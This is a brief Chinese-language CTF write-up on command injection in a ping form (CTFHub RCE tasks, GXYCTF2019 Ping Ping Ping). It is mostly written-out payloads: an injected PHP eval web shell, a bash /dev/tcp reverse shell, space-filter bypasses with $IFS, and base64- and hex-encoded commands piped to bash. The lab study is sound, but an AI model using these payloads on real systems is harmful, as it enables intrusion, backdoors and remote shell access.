CTFHub web技能树 RCE

 一个简单的ping，还没有过滤，源码也给出来了

ls一下

127.0.0.1 & ls

有一个可疑的php文件，，，但是直接访问和 cat 都出不来。。。

试了几下反弹shell，没成功。。。于是直接用echo了一个一句话进去

127.0.0.1 & echo "<?php eval(@$_POST['a']);?>" > 3.php

注意这里$转义了一下，不转的话会被识别成变量。。

之后拿我40米长的菜刀

 php用了注释。。和想的差不多

这题竟然花了那么久

我是这样反弹shell。。

bash -i >& /dev/tcp/ip/port 0>&1

 

 过滤空格的

127.0.0.1&cat<flag_10974101912578.php

< 、<>、%20(space)、%09(tab)、$IFS$9、 ${IFS}、$IFS等

命令注入-过滤目录分隔符

cat \flag_is_here\flag_12052032130931.php

Y2F0IFxcZmxhZ19pc19oZXJlXFxmbGFnXzEyMDUyMDMyMTMwOTMxLnBocA
127.0.0.1 & echo Y2F0IFxcZmxhZ19pc19oZXJlXFxmbGFnXzEyMDUyMDMyMTMwOTMxLnBocA | base64 -d | bash

<?php eval(@$_POST['a']);?>
3C3F706870206576616C2840245F504F53545B2761275D293B3F3E
127.0.0.1 & echo 3C3F706870206576616C2840245F504F53545B2761275D293B3F3E | xxd -r -ps > 4.php

感觉这两种绕过应该都可以成功啊，可是他就是都没成功。。。。

[GXYCTF2019]Ping Ping Ping

 

过滤了空格，<，flag

 

空格用$IFS可以，再拼接一下，绕过